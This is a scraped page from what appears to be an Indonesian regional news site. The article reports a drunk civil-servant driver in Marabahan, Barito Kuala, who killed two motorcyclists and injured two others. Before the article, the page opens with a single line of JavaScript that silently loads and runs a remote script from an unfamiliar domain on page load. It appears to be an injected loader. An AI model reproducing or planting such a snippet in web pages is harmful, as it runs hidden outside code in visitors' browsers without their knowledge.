(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Hukum

Pengemudi Mobil Mabuk yang Tewaskan 2 Pengendara Motor Berstatus PNS


MARABAHAN, Pengemudi mobil Honda City yang menyebabkan kecelakaan tragis di Jalan Panglima Antasari, Kecamatan Marabahan, Kabuapten Batola, rupanya merupakan seorang Pegawai Negeri Sipil (PNS) sebagai Penyuluh Perikanan Kota Batulicin, Kabupaten Tanah Bumbu. Adalah Riyan Erwan Noor S yang bertempat tinggal di Jalan Ulu Benteng, Kecamatan Marabahan Kabupaten Batola.

Riyan Erwan yang saat itu mengendarai Mobil Honda City dengan Nopol B 1753 NES sedang menuju Marabahan dari arah Banjarmasin dengan kecepatan tinggi. Namun mengejutkanya, ia melancarkan aksi tabrak lari kepada pengendara sepeda motor dekat warung dan mengakibatkan 2 orang meninggal dunia di tempat yakni Sani (40) warga Pasar Wankang, Kecamatan Marabahan dan Toto (42) warga Jalan Kartini Kelurahan Marabahan, Kecamatan Marabahan.

Tidak sampai disitu, mobil kembali melaju menuju ke arah Lapangan 5 Desember dan kembali menabrak pengendara sepeda motor berjumlah dua orang di simpang empat lampu merah.

Akibatnya, dua orang yang diketahui bernama Ibrahim dan Aliyansyah mendapati luka-luka dan harus dirawat ke RS Umum Abdul Azis Marabahan.

Laju mobil tersebut akhirnya terhenti, usai menabrak warung yang berada di jalan Panglima Antasari Kelurahan Marabahan Kota, Kecamatan Marabahan, Kabupaten Batola.

Kasat Lantas Polres Barito Kuala, AKP Didik Suhartanto mengatakan pihaknya masih mendalami peristiwa tragis ini. Sementara itu pihaknya mengamankan pengemudi mobil Riyan Erwan guna dimintai keterangan.

“Masih kita lakukan penyelidikan serta meminta keterangan para saksi di lokasi kejadian,” ujarnya.

Adapun kerugian materiil dalam kejadian ini, yakni dua warung rusak berat, satu mobil rusak berat, dan dua motor rusak berat. Sopir mobil Honda City sudah diamankan ke Mapolres Barito Kuala untuk proses penyelidikan lebih lanjut. Dua korban luka-luka sempat dirawat di RSUD Abdul Azis Marabahan. Ibrahim dirujuk ke Banjarmasin karena kritis.

Dari informasi yang didapat Kanalkalimantan, Riyan Erwan melakukan aksi bak laga film action tersebut lantaran sedang dalam kondisi mabuk. (rico)

Reporter : Rico
Editor : Bie

Desy Arfianty

Recent Posts

Mantan Kajari HSU Ajukan Praperadilan, KPK Siap Ladeni Gugatan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyatakan siap menghadapi gugatan praperadilan yang diajukan mantan… Read More

16 menit ago

Hari Gizi Nasional 2026 “Sehat Dimulai dari Piringku”

KANALKALIMANTAN.COM - Hari Gizi Nasional yang diperingati setiap tanggal 25 Januari merupakan momentum penting dalam… Read More

4 jam ago

Wali Kota Yamin akan Tindak Pemilik Ruko yang Tidak Merawat Drainase

KANALKALIMANTAN.COM, BANJARMASIN — Wali Kota Banjarmasin H Muhammad Yamin HR menegaskan akan menindak pemilik Ruko… Read More

18 jam ago

Ketua DPRD Kalsel Sampaikan Tuntutan Mahasiswa ke Senayan

KANALKALIMANTAN.COM, JAKARTA — Ketua DPRD Kalimantan Selatan (Kalsel), H Supian HK menyampaikan tuntutan mahasiswa dari… Read More

19 jam ago

275 ASN Pemko Banjarmasin Pensiun di 2025

KANALKALIMANTAN.COM, BANJARMASIN — Sebanyak 275 Aparatur Sipil Negara (ASN) di lingkungan Pemerintah Kota (Pemko) Banjarmasin… Read More

20 jam ago

Pembebasan Lahan Bendungan Riam Kiwa Mendesak Atasi Banjir Tahunan

KANALKALIMANTAN.COM, BANJARMASIN - Balai Wilayah Sungai (BWS) Kalimantan III menyatakan kesiapan mempercepat pembangunan Bendungan Riam… Read More

24 jam ago

This website uses cookies.